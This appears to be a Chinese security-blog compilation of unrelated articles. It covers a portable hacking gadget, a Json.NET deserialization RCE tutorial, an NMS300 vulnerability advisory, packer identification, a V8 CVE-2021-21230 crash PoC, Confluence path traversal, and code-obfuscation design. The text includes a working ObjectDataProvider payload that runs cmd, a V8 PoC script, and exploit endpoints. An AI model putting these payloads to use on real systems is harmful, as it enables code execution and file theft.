本文是翻译文章，文章来源：hackster.io
原文地址：<https://blog.hackster.io/hack-chip-an-uber-portable-hacking-powerhouse-4a92a5c84293>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：140RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
****
通常，使用黑客技术做些恶作剧的事情往往是很有趣的，如果你刚在一家网络安全公司找到了一份新的工作，并且该网络安全公司的网络存在一些安全漏洞，那么出于好奇心，你可能正在快乐地利用公司网络的这些安全漏洞访问一些你并没有权限访问的东西。DefCon黑客大会，开始于1992年，每年7月在美国的拉斯维加斯举行，该黑客大会每年都会吸引来自全球数以万计的黑客参会，[DefCon](https://www.defcon.org/)黑客大会是黑客们结识朋友以及展示实力的一个国际平台，对于黑客而言，参加DefCon黑客大会的确是一段美好的时光。但是，试想一下，如果一个黑客拖着一个普通的、笨重的黑客“装备”参会，这在一定程度上不仅需要黑客有足够的力量来拖动这些“装备”，而且也一定会引起其他人的注意（其实，黑客最希望的事情就是不引起其他人的注意）。
**不引人注意的黑客装备**
****
El
Kentaro是一个热衷于黑客技术的人，[他想要给自己装备一个功能强大的黑客装置](https://medium.com/@elkentaro/hackerchip-v-1-part-1-of-n-59804d27c245)，但他希望该“装备”能够保持轻便、便携，以及不引起别人的注意。当他遇到了一款全键盘手机造型的Linux计算机，搭载触摸界面，可进行编程和移动应用的十分友好的便携式电脑PocketCHIP时，他知道他已经找到了该项目的完美平台。
PocketCHIP这款便携式电脑在设计上很容易被黑客攻破，事实上，PocketCHIP这款便携式电脑设计之初的真正意图是想成为一款便携式复古游戏系统，使得用户可以自己编写游戏，或是针对下载的代码进行修改。
但是，在上述那款便携式电脑中确实运行着一套成熟的、完整的Linux系统，所以El
Kentaro知道他很容易就会屈服于自己的意志。在根据自己的喜好设置好系统之后，他首先安装Aircrack-ng来嗅探无线网络并对无线网络进行基本的破解操作。他手上已经有一个Ubertooth One（虽然它们的价格几乎是[Pocket
CHIP](https://www.hackster.io/chip/products/pocket-c-h-i-p)这款便携式电脑的两倍）了，于是他将Ubertooth One、蓝牙适配器以及BlueHydra（用于攻击蓝牙设备的一种工具）都安装到了Pocket
CHIP便携式电脑的Linux系统中去了。
接下来要进行的一些操作是Linux系统的定制和物理修改，El
Kentaro切换了启动页使其看起来别有一番风味，并更改了启动屏幕，以便轻松启动安装在Pocket CHIP便携式电脑中的黑客软件。
由于PocketCHIP便携式电脑只有一个USB接口，所以接下来得添加一个USB集线器。
然后，El Kentaro在Pocket
CHIP的Linux系统中安装了更多的黑客软件，其中包括：Mosh（一个非常适合移动设备的SSH客户端工具），一个用来记录数据的Hastebin以及Horst（WiFi扫描仪和分析器）。而且，他还写了一个脚本工具，该工具可以快速对他周围的网络区域进行扫描，以了解他周围网络的基本情况信息。依靠以上的这些设置，El
Kentaro可以方便的检查周围的网络，而不会在拥挤的地方看起来太明显。
除了使用蓝牙和WiFi这两种方式进行网络“攻击”，El
Kentaro还需要一个能够操作RFID的工具。幸运的是，在他的办公桌上有一个被他遗忘的而且很实用的工具-Proxmark3。
Proxmark3是另外一个很昂贵的工具，使用该工具可以获得操作RFID的一切功能，该工具可以扫描，破解和克隆RFID卡和标签，并模拟卡片和读卡器（或两者之间的通信）。
在这一点上，Hack Chip开始与Frankenstein的实验室有点相像了。所以，El
Kentaro开始清理这个设备，让它看起来能够稍微显眼一些。随着在Pocket
CHIP便携式电脑上捆绑上所有的这些设备，让其看起来有点复杂，因此它需要一些精简。无线充电被添加（到达充电接口开始变得有些困难了）。而且，只是为了好玩，El
Kentaro拉出了一个内窥镜，并使它与Hack Chip一起很好的工作。
现在，Hack Chip只是包含每个可以可靠地捆绑在Pocket CHIP便携式电脑设备上的黑客小工具或者小部件。但是，El
Kentaro还没有结束他的工作，他还正在为Hack Chip制造一个同伴，这个同伴是一个[Raspberry Pi
Zero](https://www.hackster.io/raspberry-pi)下拉盒，该工具可以用来监控Hack
Chip已经破解的网络，它将持续记录数据并将记录到的数据发送到Hack Chip。
因此，我们可以跟随[El Kentaro](https://medium.com/@elkentaro)，一起去看看Hack
Chip项目下一步将会做哪些好玩的事情！ | 社区文章 |
**原文来自安全客，作者：Ivan1ee@360云影实验室
原文链接：<https://www.anquanke.com/post/id/172920>**
相关阅读：
* [《.NET 高级代码审计（第一课）XmlSerializer 反序列化漏洞》](https://paper.seebug.org/837/ "《.NET 高级代码审计（第一课）XmlSerializer 反序列化漏洞》")
* [《.NET高级代码审计（第三课）Fastjson反序列化漏洞》](https://paper.seebug.org/849/ "《.NET高级代码审计（第三课）Fastjson反序列化漏洞》")
* [《.NET高级代码审计（第四课） JavaScriptSerializer 反序列化漏洞》](https://paper.seebug.org/865/ "《.NET高级代码审计（第四课） JavaScriptSerializer 反序列化漏洞》")
* [《.NET高级代码审计（第五课） .NET Remoting反序列化漏洞》](https://paper.seebug.org/881/ "《.NET高级代码审计（第五课） .NET Remoting反序列化漏洞》")
* [《.NET高级代码审计（第六课） DataContractSerializer反序列化漏洞》](https://paper.seebug.org/882/ "《.NET高级代码审计（第六课） DataContractSerializer反序列化漏洞》")
### 0X00 前言
Newtonsoft.Json，这是一个开源的Json.Net库，官方地址：<https://www.newtonsoft.com/json>
，一个读写Json效率非常高的.Net库，在做开发的时候，很多数据交换都是以json格式传输的。而使用Json的时候，开发者很多时候会涉及到几个序列化对象的使用：DataContractJsonSerializer，JavaScriptSerializer
和
Json.NET即Newtonsoft.Json。大多数人都会选择性能以及通用性较好Json.NET，这个虽不是微软的类库，但却是一个开源的世界级的Json操作类库，从下面的性能对比就可以看到它的性能优点。
用它可轻松实现.Net中所有类型(对象,基本数据类型等)同Json之间的转换，在带来便捷的同时也隐藏了很大的安全隐患，在某些场景下开发者使用DeserializeObject方法序列化不安全的数据，就会造成反序列化漏洞从而实现远程RCE攻击，本文笔者从原理和代码审计的视角做了相关介绍和复现。
### 0X01 Json.Net序列化
在Newtonsoft.Json中使用JSONSerializer可以非常方便的实现.NET对象与Json之间的转化，JSONSerializer把.NET对象的属性名转化为Json数据中的Key，把对象的属性值转化为Json数据中的Value，如下Demo，定义TestClass对象
并有三个成员，Classname在序列化的过程中被忽略（JsonIgnore），此外实现了一个静态方法ClassMethod启动进程。
序列化过程通过创建对象实例分别给成员赋值，
用JsonConvert.SerializeObject得到序列化后的字符串
Json字符串中并没有包含方法ClassMethod，因为它是静态方法，不参与实例化的过程，自然在testClass这个对象中不存在。这就是一个最简单的序列化Demo。为了尽量保证序列化过程不抛出异常，笔者引入
SerializeObject方法的第二个参数并实例化创建JsonSerializerSettings，下面列出属性
修改代码添加 TypeNameAssemblyFormatHandling.Full、TypeNameHandling.ALL
将代码改成这样后得到的testString变量值才是笔者想要的，打印的数据中带有完整的程序集名等信息。
### 0x02 Json.Net反序列化
#### 2.1、反序列化用法
反序列过程就是将Json字符串转换为对象，通过创建一个新对象的方式调用JsonConvert.DeserializeObject方法实现的，传入两个参数，第一个参数需要被序列化的字符串、第二个参数设置序列化配置选项来指定JsonSerializer按照指定的类型名称处理，其中TypeNameHandling可选择的成员分为五种
默认情况下设置为TypeNameHandling.None，表示Json.NET在反序列化期间不读取或写入类型名称。具体代码可参考以下
#### 2.2、攻击向量—ObjectDataProvider
漏洞的触发点也是在于TypeNameHandling这个枚举值，如果开发者设置为非空值、也就是对象（Objects） 、数组（Arrays） 、自动识别
(Auto) 、所有值(ALL)
的时候都会造成反序列化漏洞，为此官方文档里也标注了警告，当您的应用程序从外部源反序列化JSON时应谨慎使用TypeNameHandling。
笔者继续选择ObjectDataProvider类方便调用任意被引用类中的方法，具体有关此类的用法可以看一下《.NET高级代码审计（第一课）XmlSerializer反序列化漏洞》，首先来序列化TestClass
指定TypeNameHandling.All、TypeNameAssemblyFormatHandling.Full后得到序列化后的Json字符串
{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","ObjectInstance":{"$type":"WpfApp1.TestClass, WpfApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null","Name":null,"Age":0},"MethodName":"ClassMethod","MethodParameters":{"$type":"MS.Internal.Data.ParameterCollection, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","$values":["calc.exe"]},"IsAsynchronous":false,"IsInitialLoadEnabled":true,"Data":null,"Error":null}
如何构造System.Diagnostics.Process序列化的Json字符串呢？笔者需要做的工作替换掉ObjectInstance的type值，删除一些不需要的Member、最终得到的反序列话Json字符串如下
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd','/c calc']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
再经过JsonConvert.DeserializeObject反序列化（注意一点指定TypeNameHandling的值一定不能是None），成功弹出计算器。
#### 2.3、攻击向量—WindowsIdentity
WindowsIdentity类位于System.Security.Principal命名空间下。顾名思义，用于表示基于Windows认证的身份，认证是安全体系的第一道屏障肩负着守护着整个应用或者服务的第一道大门，此类定义了Windows身份一系列属性
对于用于表示认证类型的AuthenticationType属性来说，在工作组模式下返回NTLM。对于域模式，如果操作系统是Vista或者以后的版本，该属性返回Negotiate，表示采用SPNEGO认证协议。而对于之前的Windows版本，则该属性值为Kerberos。Groups属性返回WindowsIdentity对应的Windows帐号所在的用户组（User
Group），而IsGuest则用于判断Windows帐号是否存在于Guest用户组中。IsSystem属性则表示Windows帐号是否是一个系统帐号。对于匿名登录，IIS实际上会采用一个预先指定的Windows帐号进行登录。而在这里，IsAnonymous属性就表示该WindowsIdentity对应的Windows帐号是否是匿名帐号。
##### 2.3.1、ISerializable
跟踪定义得知继承于ClaimsIdentity类，并且实现了ISerializable接口
查看定义得知，只有一个方法GetObjectData
在.NET运行时序列化的过程中CLR提供了控制序列化数据的特性，如：OnSerializing、OnSerialized、NonSerialized等。为了对序列化数据进行完全控制，就需要实现Serialization.ISeralizable接口，这个接口只有一个方法，即
GetObjectData，第一个参数SerializationInfo包含了要为对象序列化的值的合集，传递两个参数给它：Type和IFormatterConverter，其中Type参数表示要序列化的对象全名（包括了程序集名、版本、公钥等），这点对于构造恶意的反序列化字符串至关重要
另一方面GetObjectData又调用SerializationInfo
类提供的AddValue多个重载方法来指定序列化的信息，AddValue添加的是一组`<key,value>`
；GetObjectData负责添加好所有必要的序列化信息。
##### 2.3.2、ClaimsIdentity
ClaimsIdentity（声称标识）位于System.Security.Claims命名空间下，首先看下类的定义
其实就是一个个包含了claims构成的单元体，举个栗子：驾照中的“身份证号码：000000”是一个claim、持证人的“姓名:
Ivan1ee”是另一个claim、这一组键值对构成了一个Identity，具有这些claims的Identity就是ClaimsIdentity，通常用在登录Cookie验证，如下代码
一般使用的场景我想已经说明白了，现在来看下类的成员有哪些，能赋值的又有哪些？
参考官方文档可以看到 Lable、BootstrapContext、Actor三个属性具备了set
查阅文档可知，这几个属性的原始成员分别为actor、bootstrapContext、lable如下
ClaimsIdentity类初始化方法有两个重载，并且通过前文介绍的SerializationInfo来传入数据，最后用Deserialize反序列化数据。
追溯的过程有点像框架类的代码审计，跟踪到Deserialize方法体内，查找BootstrapContextKey才知道原来它还需要被外层base64解码后带入反序列化
##### 2.3.3、打造Poc
回过头来想一下，如果使用GetObjectData类中的AddValue方法添加“key :
System.Security.ClaimsIdentity.bootstrapContext“、”value :
base64编码后的payload“，最后实现System.Security.Principal.WindowsIdentity.ISerializable接口就能攻击成功。首先定义WindowsIdentityTest类
笔者用ysoserial生成反序列化Base64 Payload赋值给BootstrapContextKey，实现代码如下
到这步生成变量obj1的值就是一段poc，但还需改造一下，将$type值改为System.Security.Principal.WindowsIdentity完全限定名
最后改进后交给反序列化代码执行，抛出异常之前触发计算器，效果如下图
### 0x03 代码审计视角
从代码审计的角度其实很容易找到漏洞的污染点，通过前面几个小节的知识能发现需要满足一个关键条件非TypeNameHandling.None的枚举值都可以被反序列化，例如以下Json类
都设置成TypeNameHandling.All，攻击者只需要控制传入参数
_in便可轻松实现反序列化漏洞攻击。Github上很多的json类存在漏洞，例如下图
代码中改用了Auto这个值，只要不是None值在条件许可的情况下都可以触发漏洞，笔者相信肯定还有更多的漏洞污染点，需要大家在代码审计的过程中一起去发掘。
### 0x04 案例复盘
最后再通过下面案例来复盘整个过程，全程展示在VS里调试里通过反序列化漏洞弹出计算器。
1. 输入<http://localhost:5651/Default> Post加载value值
2. 通过JsonConvert.DeserializeObject 反序列化 ，并弹出计算器
最后附上动图
## 0x05 总结
Newtonsoft.Json库在实际开发中使用率还是很高的，攻击场景也较丰富，作为漏洞挖掘者可以多多关注这个点，攻击向量建议选择ObjectDataProvider，只因生成的Poc体积相对较小。最后.NET反序列化系列课程笔者会同步到
<https://github.com/Ivan1ee/> 、<https://ivan1ee.gitbook.io/>
，后续笔者将陆续推出高质量的.NET反序列化漏洞文章，请大伙持续关注。
* * *
_本文经安全客授权发布，转载请联系安全客平台。_
* * * | 社区文章 |
# 网件 ProSAFE NMS300安全漏洞利用指南
|
##### 译文声明
本文是翻译文章，文章来源： E安全
原文地址：[http://mp.weixin.qq.com/s?__biz=MzI4MjA1MzkyNA==&mid=404448728&idx=1&sn=7c8ed250b8eb9b02696a204fb0a3c859&scene=23&srcid=0206fGyweKkz9ajgI7zhXg11#rd](http://mp.weixin.qq.com/s?__biz=MzI4MjA1MzkyNA==&mid=404448728&idx=1&sn=7c8ed250b8eb9b02696a204fb0a3c859&scene=23&srcid=0206fGyweKkz9ajgI7zhXg11#rd)
译文仅供参考，具体内容表达以及含义原文为准。
一位安全研究人员已经发布相关代码，指出Netgear ProSAFE NMS300网络管理系统中存在两项可利用之严重安全漏洞。
大家是否正在使用Netgear ProSAFE NMS300管理系统？如果答案是肯定的，那各位恐怕要担心一下了——因为安全研究员Pefro
Ribeiro已经在这台网络设备当中发现了两项严重安全漏洞。
Netgear ProSAFE NMS300管理系统允许管理员利用一套用户友好型Web界面对网络体系进行监控与管理。
此次影响该设备的安全漏洞（不限上传任何高危文件类型）被认证为CVE-2016-1524，其能够被远程、未授权攻击者用于向该系统上传任意文件。
一旦文件上传完成，其将获得如下所示之服务器root目录URL：
http://<IP>:8080/null<文件名>
另外，其可利用SYSTEM权限加以执行。
这项远程代码执行漏洞在CVSS处得到了8.3评分，攻击者可以向NMS300当中默认安装的两个Java
servlet小型服务程序之一发送一段经过特制的POST请求对其加以利用。
“通过向该servlet发送一段特制POST请求，攻击者能够成功上传任意文件，并通过NMS300服务器的root目录利用http://<IP>:8080/null<文件名>进行访问。该NMS300服务器将以SYSTEM权限对其加以运行。”卡内基梅隆大学CERT发布的这份报告指出（地址https://www.kb.cert.org/vuls/id/777024）。
第二项漏洞（对受限目录（‘路径遍历’）之名称做出不当限制）被收录为CVE-2016-1525。这项同样存在于Netgea ProSAFE
NMS300中的漏洞属于目录遍历机制，允许通过身份验证的攻击者从该设备中下载任意文件。
“经过身份验证的攻击者能够向http://<IP>:8080/data/config/image.do?method=add发送一条特制POST请求以修改其realName参数，从而从服务器主机中将任意本地文件载入至Web服务中的可预测位置。该文件随后可通过http://<IP>:8080/data/config/image.do?method=export&imageId=<ID>进行下载，其中的<ID>为数字形式，每次有文件上传其计数将加1.”这份报告补充称。
安全专家Ribeiro早在去年12月就已经通过CERT/CC报告了这项Netgear漏洞，但该问题截至目前仍存在于系统当中。
Riberio同时针对该漏洞发布了概念验证代码，大家可以点击此处下载这两个Metasploit模块（http://seclists.org/fulldisclosure/2016/Feb/30）。
在等待修复的过程中，建议大家将该Web管理界面同互联网隔离开来。 | 社区文章 |
# 逆向破解基础知识之认识壳与程序的特征
### _问题_
* 程序是什么语言编写的？
* 程序到底有没有加壳？
* 程序加了什么壳？
* * *
##### 关于程序是什么语言编写的：
>
> 从目前国内接触到程序看，比较流行的编译器有：VC系列、易语言、.NET、Delphi，一些曾经用的很多但渐渐少了有：VB、ASM、BC++，还有一些用的比较少的有：AutoIt、PB、QT等。
* * *
##### 一、VC6编译无壳程序
<h6>==OllyDbg查看入口代码==：</h6>
<h6>==PEID查看区段如下==：</h6>
> VC6特点：
入口点代码是固定的代码，入口调用的API也是相同的，其中有的push地址不同程序可能不同；区段有四个也是固定的.text、.rdata、.data和.rsrc。
* * *
##### 二、VS2008和VS2013编译无壳程序
<h6>==OllyDbg查看入口代码==：</h6>
<h6>==PEID查看区段如下==：</h6>
> VS特点：入口点只有两行代码，一个CALL后直接JMP，第一个CALL进去后调用的API也是相同的；区段相对于VC6多了一个.reloc。
* * *
##### 三、易语言编译无壳程序（独立编译&非独立编译）
>由于易语言独立编译是调用VC的链接程序编译的，所以从区段和入口代码特征和VC相同，下图为非独立编译带运行库
<h6>==OllyDbg查看入口代码==：</h6>
<h6>==查看模块==：</h6>
<h6>==查看核心代码==：</h6>
>
> 易语言特点：可以从程序里找一些call的调用最终都会走到上面核心代码图位置（文字不太好表达），这个方法可以区分和VC的区别，非独立编译比较容易识别，入口特征和模块特征都有krnln.fnr。
* * *
* * *
##### 关于如何识别加壳
>1\. 通过PEiD、Exeinfo PE等查壳工具内置各种壳的十六进制特征码进行对比查壳
<h6>==优缺点==：</h6>
PEiD、FFI、FastScanner、RDG Packer
Detector这类程序都是通过目录下的userdb.txt（查壳程序不同可能数据库名有出入）数据库进行加壳程序特征对比的，由于userdb.txt文件都是好多年前的了，全球基本都在用fly在09年发布的UpKPEiDSign，即使有新的也都基于他制作的版本之上进行更新的，而且更新都没有太好效果，由于原理都是通过加壳程序的特征进行对应，而这些加壳特征都是个人总结而来，对加壳程序的模糊搜索对比造成可靠性不高，特别是对于VMProtect这类加密壳程序，经常被识别成一些算七八糟都没见过的加壳内容，特别是显示UPolyX，基本都是误报，对新手的误导很严重，但对于传统的一些压缩壳的识别效果还是很好的，当然了，有利有弊，正是由于它的开放性特征库，也方便给大家提供自己编写特征的方法，来识别一些新的壳，期待大家能做出自己的加壳特征来。
>Exeinfo
PE属于新一代查壳工具，作者目前还在更新，它和PEiD的区别可能就在于它的特征库是作者自己维护，不支持外部修改，新版好像也开始支持外部特征库了，这款查壳工具的加壳特征库比较准确而且范围很广，如ThemIDA、WinLicense、VMProtect、ZProtect、Shielden都可以轻松识别出来，但对于具体加壳程序的版本都是模糊的，其实个人认为加壳版本真的不重要，这个后面再具体说道，Exeinfo
PE可以说是目前可以说最好的查壳工具了，推荐大家使用。
* * *
>2\. 通过入口特征和区段特征来识别
* **区段信息** 可以通过PEiD的EP处点击获取到，比如下图的区段信息中可以轻松看出，这是一款Themida或者WinLicense的加壳程序。
* **入口特征** 可以通过OllyDBG载入获得，载入后可以按一下“Ctrl+A”，让OD分析一下代码，就可以把入口点一些特征字符串分析出来，从下图的入口信息可以轻松看出，这是一款Safengine加壳的程序，对于Shielden、Safengine、VProtect这类加壳程序都可以使用这种方法判断出来。
##### 关于程序加的是什么壳
>windows程序状态大体可以分为以下几种类型：未加壳、压缩壳、传统加密壳、代码虚拟化保护、.Net程序加密 | 社区文章 |
# CVE-2021-21230
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 环境准备
git reset --hard df52b65dba782a6bbef0b64684795bcea3503607
gclient sync
## Patch分析
diff --git a/src/compiler/type-cache.h b/src/compiler/type-cache.h
index ada95a3..2ade5f6 100644
--- a/src/compiler/type-cache.h
+++ b/src/compiler/type-cache.h
@@ -80,7 +80,7 @@
Type::Union(kPositiveIntegerOrMinusZero, Type::NaN(), zone());
Type const kAdditiveSafeInteger =
- CreateRange(-4503599627370496.0, 4503599627370496.0);
+ CreateRange(-4503599627370495.0, 4503599627370495.0);
Type const kSafeInteger = CreateRange(-kMaxSafeInteger, kMaxSafeInteger);
Type const kAdditiveSafeIntegerOrMinusZero =
Type::Union(kAdditiveSafeInteger, Type::MinusZero(), zone());
poc是把kAdditiveSafeInteger这个const的范围给更新了一下，根据名字来看应该是做加法的整数的安全范围，反向查找一下引用，发现也只有在这里被引用了一次，还有一次是在下面对kAdditiveSafeIntegerOrMinusZero的赋值，仅此两次。
然后继续反向找一下kAdditiveSafeIntegerOrMinusZero，发现在compiler/simplified-lowering.cc下有几个引用，具体做什么用现在现在还不是很清楚。
issue里面给了POC ，先来分析这个POC。
## POC分析
// the first function exists to generate the SpeculativeSafeIntegerAdd node
function bar(a,b) {
a = a|0;
b = b|0;
var x = a*(2**30) + b; // constrain x to be an integer
x = Math.min(Math.max(x,0),4503599627370496) // further constrain to kAdditiveSafeInteger
return (x+x)|0; // the actual addition, plus the truncation to Word32
}
function foo(a,b) {
a = a|0;
a = Math.min(Math.max(a,4194304),4194304);
b = b|0;
b = Math.min(Math.max(b,2**30-2),2**30); // these constraints will mean that x has type Range(4503599627370496, 4503599627370496)
// the result of bar will be typed to the intersection of
// Range(-9007199254740991, 9007199254740991) and Range(9007199254740992, 9007199254740992)
// which is empty; the dead code elimination emits a Throw
return bar(a,b);
}
%PrepareFunctionForOptimization(bar);
bar(0,1,0);
%OptimizeFunctionOnNextCall(bar);
bar(0,1,0);
%PrepareFunctionForOptimization(foo);
console.log(foo(0,2**29-1));
%OptimizeFunctionOnNextCall(foo);
console.log(foo(0,2**29-1));
根据POC的写法，猜测是Type的BUG，运行一下看一下
发现凭空插入一个断点，我们来分析下这个错误是如何生产的。
## 漏洞分析
trace-turbo 生成IR图，直接对IR操作。查看最终生成的代码。
发现这里意外有个unreachable，显然是BUG生成的。然后看下schedule阶段。
不出所料果然是有个unreachable，然后查看一下这个节点的起源。
#180节点在 simplified lowering 阶段被替换。那就去找下。
发现这边还有一个209 也是。在后面没有原因应该是代码亢余消除阶段给消了。
对#209节点重复上面操作。发现是在typerlowering阶段替换的。而此时我们看到了未被替换的修改的#180节点也就是#227的前身。
继续查找，发现#209 是在这个阶段被DeadCodeElimination生成的。
然后看下上面一个阶段，发现其还未被替换。
至于为什么被替换，根据issue给的解释是因为#180的两个valueinput也就是上图显示的#202节点下面的range，两个传入的都是4503599627370496，也就是patch修改之后的值，然后两个#202
被 #180操作之后为9007199254740992，超过
kMaxSafeInteger=9007199254740991，溢出了一个1，正好因为这个1导致了#180的type 被设置为了None。然后由于type
的错误，后面的也会被设置为None，然后在typerlowering阶段的DeadCodeElimination里面由于#180的none
，然后由于#180 作为#181的effect，所以在这被替换为unreachable。（patch之后 计算的值在合适的范围内就不会产生BUG）。
然后在simplelowering 阶段 #180由于range为none，而最终被替换成unreachable。
然后在simplelowering 阶段 #180由于range为none，而最终被替换成unreachable。
至此分析完毕。 | 社区文章 |
# FireEye 红队失窃工具大揭秘之：分析复现 Confluence路径穿越漏洞 (CVE-2019-3398)
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近，全球领先的网络安全公司 FireEye 疑遭某 APT
组织的攻击，其大量政府客户信息遭越权访问，且红队工具被盗。虽然目前尚不清楚这些红队工具将被如何处置，但FireEye 公司在 GitHub
上发布了一些应对措施。奇安信代码安全实验室将从技术角度，对 GitHub 仓库中的相关漏洞进行分析复现，希望能给读者带来一些启发，做好防御措施。
## 漏洞简介
Atlassian Confluence
Server是澳大利亚Atlassian公司的一套协同软件服务器版本，具有企业知识管理功能，并支持用于构建企业WiKi。Atlassian
Confluence Data Center 是 Atlassian Confluence 的数据中心版本。
Atlassian Confluence Server 和Confluence Data Center 在downloadallattachments
资源中存在路径穿越漏洞。当远程用户能够向博客页面添加附件，或创建空间，或对某个空间具有管理员权限，就可能使用包含目录遍历序列（‘../’）的文件名造成路径穿越问题，且在一定条件下可以执行任意代码。
## 受影响产品
Atlassian Confluence Server
confluence Data Center
## 受影响版本
2.0.0 <= version < 6.6.13
6.7.0 <= version < 6.12.4
6.13.0 <= version < 6.13.4
6.14.0 <= version < 6.14.3
6.15.0 <= version < 6.15.2
## 修复版本
6.6.13
6.12.4
6.13.4
6.14.3
6.15.2
## 漏洞验证环境
Centos7
Jdk-1.8.0_272
Mysql 5.7
Confluence 6.15.1
## 漏洞验证和分析
搭建好环境后，创建一篇博客，title 和 content 随意任选。
该漏洞关键点有两个：上传一个文件名带有 “../” 的附件和下载该附件所在博客页面的全部附件。上传触发点位于对现有博客进行编辑时的页面上：
可添加附件，插入文件或图片。
上传附件时更改文件名。
Insert 之后进行 update 保存。该上传功能处理代码位于Confluence安装目录下confluence/WEB-INF/atlassian-bundled-plugins/confluence-drag-and-drop-6.15.1.jar/com.atlassian,confluence.plugins/dragdrop/UploadAcrion.class
文件中。
由于该段代码中未对 filename 做安全检查，因而 “../” 字段可以成功插入filename中。
在该博客页面点击附件可以查看附件列表。
全部下载功能需要该博客页面有至少两个附件，上传成功后博客附件文件名会带有“../”。
点击 Downdload All，可以看到文件名为 download、随机字符和时间拼接成的zip文件，即
downloadG6tgT025851.zip，响应的 location 位置在download/tmp/ 下，直接在根目录下搜索该文件，可以找到存储地址。
该zip文件的上两级目录中存在 test.txt 文件。该 download all 的处理功能代码位于 confluence 安装目录下的
confluence/WEB-INF/lib/confluence-6.15.1.jar/com/atlassian/confluence/pages/DownloadLAllAttachmentsOnPageAction.class
文件中。
整个复制过程并没有对文件名和文件内容做安全检查。
getTempDirectoryForZipping() 和getZipFilename()两个函数会根据时间和随机数生成附件文件缓存的目录，目录会存放在
confluence.home/temp/ 下， confluence.home对应如下：
可知前面下载全部附件时zip的文件名结构和存放位置。copy时，缓存流中的附件 ../../test.txt
就存放在/confluencehome/temp/downloadG6tgT025851/ 下。
将此目录打包后，由于目录遍历序列（‘../’）的作用，/confluencehome/test.txt文件也就保留了下来。因此也就造成了目录穿越漏洞。
## 补丁
更新至最新版。
## 参考
<https://www.securityfocus.com/bid/108067/info>
<https://packetstormsecurity.com/files/155235/Atlassian-Confluence-6.15.1-Directory-Traversal.html> | 社区文章 |
# 原理
二进制分析的时候经常遇到经过混淆的函数，所以一直想自己学习实现一个简单的指令乱序demo，也不需要太复杂(其实就是自己菜而已)。能阻止IDA
F5党(就是我)就可以了(能去混淆的师傅除外)，常见的指令乱序是把一段代码根据jcc指令划分成若干基本块jcc指令通俗来说就是常见的跳转指令诸如jz，jnz，jmp....此类。基本块的概念参考IDA截图，像这种loc_xxx就能看作基本块。
更直观一点就是下面这张图，代码被划分成块，执行流程被分析的明明白白
划分完基本块之后再打乱或者隐藏各个基本块之间的直接联系，使静态反编译工具无法分析执行流程。
更无法通过F5看伪代码。
最简单最原始的做法就是增加新的代码块A，找出所有jcc指令，修改该指令跳转到A，
再通过A跳转到正确的代码块，代码块A可以根据 **数学公式** 实现一些运算，动态计算出跳转地址， **模糊控制流** 。
这种做法也被大牛们叫做控制流程平坦化，代码块A也叫做 **控制分发器** ，负责分发指令跳转。
当然这只是最简单最基本的 **控制流程平坦化** ，去混淆也很容易，几乎可以 **静态将代码打回原形** 。
我没有采用上面的方法，我的基本想法是以 **函数为单位** 进行混淆，比如有函数F，抽取出F函数的所有指令，
申请一个新的空间将每条指令 **随机乱序** 放置在新的空间，再增加指令 **保证两条指令的执行顺序和原始函数一致** ，
可以采用上面说的复杂算法计算出下一条指令的地址也可以使用直观的跳转指令进行 **链接** 。
实现每条指令 **空间顺序上的随机乱序，但是执行顺序不变** ，空间上相邻的两条指令之间也可以生成一些大小随机的花指令进行干扰。
最后修复跳转关系和重定位表。这样就完成了对一个函数的“ **粉碎** ”。
使用工具:自己撸的一个PE操作类，反汇编引擎使用的 **udis86** ，汇编引擎使用的 **asmjit**
> [asmjit](https://github.com/asmjit/asmjit)
>
> [udis86](http://udis86.sourceforge.net/manual/libudis86.html)
* * *
# 函数分析
函数分析的意思是，给定一个代码块，识别出函数的起始地址和大小，类似IDA以sub_xxx标注出函数的功能
如图
正确识别出函数是很困难的事情，因为每个 **编译器生成的函数特征** 可能都 **不一样** ，比如某些函数以 **ret** 指令结尾，
有些函数根本 **没有ret指令** ，有些函数也 **不是以push xxx开头** 。所以只能 **尽可能加入较多的函数特征** 。
连IDA这种级别的反编译器都 **不可能百分百识别出代码和数据** ， **有些编译器把部分数据和代码混合编译** 在一起，
比如 **delphi** 。或者编程者故意插入了导致某些反编译结果出错的 **花指令** ，这种情况是无法分析函数的。
参考了玩命的关于代码数据识别的文章，自己再总结了一些规则，得出能识别大部分函数的算法，
暂时没有加入识别某些delphi函数的规则，这类函数代码和数据混杂在了一起。
**基本算法如下**
### 1.jmp immediate(立即数)
* 反编译过程中记录遇到的所有jcc指令跳转目的地址，每次都和新遇到的jcc指令目的地址比较，记录下跳转目的地址最大的一个
### 2.ret结尾识别
* 遇到ret指令则比较前面保留的最大跳转地址和当前地址，如果当前地址大于跳转地址则函数结束，如果小于跳转目的址则从跳转地址开始继续分析
### 3.其他情况结尾判断
* 如果遇到向上跳转的无条件jmp指令则函数结束
* 如果找到nop (0x90)则函数结束
* 如果找到至少连续两个以上int3 (0xCC)则函数结束
* 如果找到add [eax], al (0x00,0x00....)则函数结束
* 函数第一条指令是无条件jmp则函数结束，并把jmp指令目标地址加入待分析函数地址集合
* 如果下一条指令是另一个函数的开始，(比如遇到指令push esp，mov ebp, esp) 则函数结束，并把下一条指令地址加入待分析函数地址集合
### 4.Call immediate(立即数)
* 遇到call立即数指令则把目的地址加入待分析函数起始地址集合
### 5.其他
* 如果程序有调试信息也可以根据调试信息来区分指令数据和函数，这里的规则肯定代表全部，可以根据每个编译器的不同加入自定义规则
